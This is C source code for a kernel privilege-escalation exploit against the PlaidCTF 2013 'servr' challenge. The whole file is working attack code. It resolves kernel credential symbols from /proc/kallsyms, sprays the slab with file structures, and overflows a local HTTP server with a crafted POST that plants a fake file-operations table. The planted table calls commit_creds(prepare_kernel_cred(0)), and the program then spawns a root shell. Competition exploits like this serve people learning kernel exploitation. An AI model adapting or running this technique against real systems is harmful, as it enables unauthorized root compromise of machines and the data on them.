/* 
 * PlaidCTF 2013 servr sploit
 * FrizN - w3stormz
 */


#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>

#define TARGET_SLAB 256
#define BUFLEN TARGET_SLAB

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

unsigned long get_sym(char *name) {
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	int ret = 0, oldstyle=0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			return 0;
		oldstyle = 1;
	}

	while (ret != EOF) {
		if (!oldstyle) {
			ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);
		} else {
			ret = fscanf(f, "%p %s\n", (void **) &addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S.")) {
					continue;
				}
				p = strrchr(sname, '_');
				if (p > ((char *) sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_') {
						p--;
					}
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			printf("[+] Resolved symbol %s to %p\n", name, (void *) addr);
			fclose(f);
			return addr;
		}
	}
	fclose(f);

	return 0;
}

void get_kernel_syms() {
	printf("[+] Looking up kernel symbols...\n");

	commit_creds = (_commit_creds) get_sym("commit_creds");
	if (!commit_creds) {
		printf("[-] Could not find commit_creds...\n");
		exit(1);
	}

	prepare_kernel_cred = (_prepare_kernel_cred) get_sym("prepare_kernel_cred");
	if (!prepare_kernel_cred) {
		printf("[-] Could not find prepare_kernel_cred...\n");
		exit(1);
	}
}

int __attribute__((regparm(3))) leetbbq() {
	commit_creds(prepare_kernel_cred(0));
	return 0; // avoid fsnotify
}

char * dentry_addr, *inode_addr, *f_op_addr, *write_addr, *aio_write_addr, *i_security_addr, *mmap_area;
void setup_file(char * file) {
  *(char **)(file + 0x18) = dentry_addr;
  *(char **)(dentry_addr + 0x30) = inode_addr;
  *(char **)(inode_addr + 0x38) = i_security_addr;
  *(char **)(inode_addr + 0x138) = 0; //inode->flock

  *(char **)(file + 0x20) = f_op_addr;
  *(char **)(f_op_addr + 0x18) = write_addr;
  *(char **)(f_op_addr + 0x28) = aio_write_addr;

  *(file + 0x3c) = 2; // FMODE_WRITE
  *(file + 0x3f) = 1; // FMODE_NOTIFY
  *(char **)(file + 0x40) = 0;	// pos
}

void do_overflow() {
  char buf[BUFLEN + 1024];
  int len, fd, i;
  struct sockaddr_in sa;

  /* Prepare buffer */
  sprintf(buf, "POST / HTTP/1.1\r\nContent-Length: %d\r\n\r\n", TARGET_SLAB - 8);
  len = strlen(buf); 
  memset(buf+len, 0, BUFLEN);

  if (!(mmap_area = (long)mmap(NULL, 0x4000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_SHARED, -1, 0))) {
	printf("Bad address\n");
	exit(1);
  }
  /* Setting up crafted file/inode entries */
  dentry_addr = mmap_area;
  inode_addr = mmap_area + 0x1000;
  f_op_addr = mmap_area + 0x2000;
  i_security_addr = mmap_area + 0x3000;
  write_addr = &leetbbq;
  aio_write_addr = 0xdeadbeef0badf00d;
  // We first executed with a pattern
  // crashes at vfs_write check of file->f_op->fwrite at offset 224
  setup_file(buf+len+224-0x20);
  len += BUFLEN;

  /* Send buffer */
  fd = socket(AF_INET, SOCK_STREAM, 0);
  memset(&sa, 0, sizeof(struct sockaddr_in));
  sa.sin_family = AF_INET;
  sa.sin_port = htons(80);
  sa.sin_addr.s_addr = inet_addr("127.0.0.1");
  if (connect(fd, &sa, sizeof(sa)) < 0) {
	printf("Could not connect\n");
        exit(1);
  } 
  if ((i = send(fd, buf, len, 0)) != len) {
	printf("Payload not sent\n");
        exit(1);
  }
  printf("[+] Payload sent (%d bytes)\n", len);
}

void check_slabs() {
 FILE * f = fopen("/proc/slabinfo", "r");
 char buf[1024];

 if (!f)
	return;

 while (fgets(buf, 1024, f))
	printf("%s", buf);

 fclose(f);
}

int main(int argc, char ** argv) {

 int i, nbfiles;
 int * files;
 char tmpfile[100];

 get_kernel_syms();

 files = malloc(sizeof(int));

 //check_slabs();
 /* Spray slab with file structs */
 for (i=0;;i++) {
	sprintf(tmpfile, "/tmp/tmpfile%d", i);
	files = realloc(files, (i+1)*sizeof(int));
	if ((files[i] = open(tmpfile, O_RDWR|O_CREAT|O_SYNC)) < 0)
		break;
 }
 //check_slabs();
 
 printf("[+] Created %d files\n", nbfiles = i);
 /* We cannot check slab info
  * so may not be properly aligned
  * (should work with argv[1] = 3)
  */
 for (i=0;i< (argc > 1 ? atoi(argv[1]) : 1);i++) {
 	close(files[nbfiles-4-i]);
 }

 do_overflow();

 for (i=0;i<nbfiles;i++)
	write(files[i], "YOUPI", 5); 
 for (i=0;i<nbfiles;i++)
	close(files[i]);

  if (setresuid(0, 0, 0)) {
	printf("[-] Exploit failed :(\n");
	exit(1);
  }
  setresgid(0, 0, 0);

  printf("[+] Launching root shell!\n");

  execl("/bin/sh", "/bin/sh", NULL);

  return 1;
}
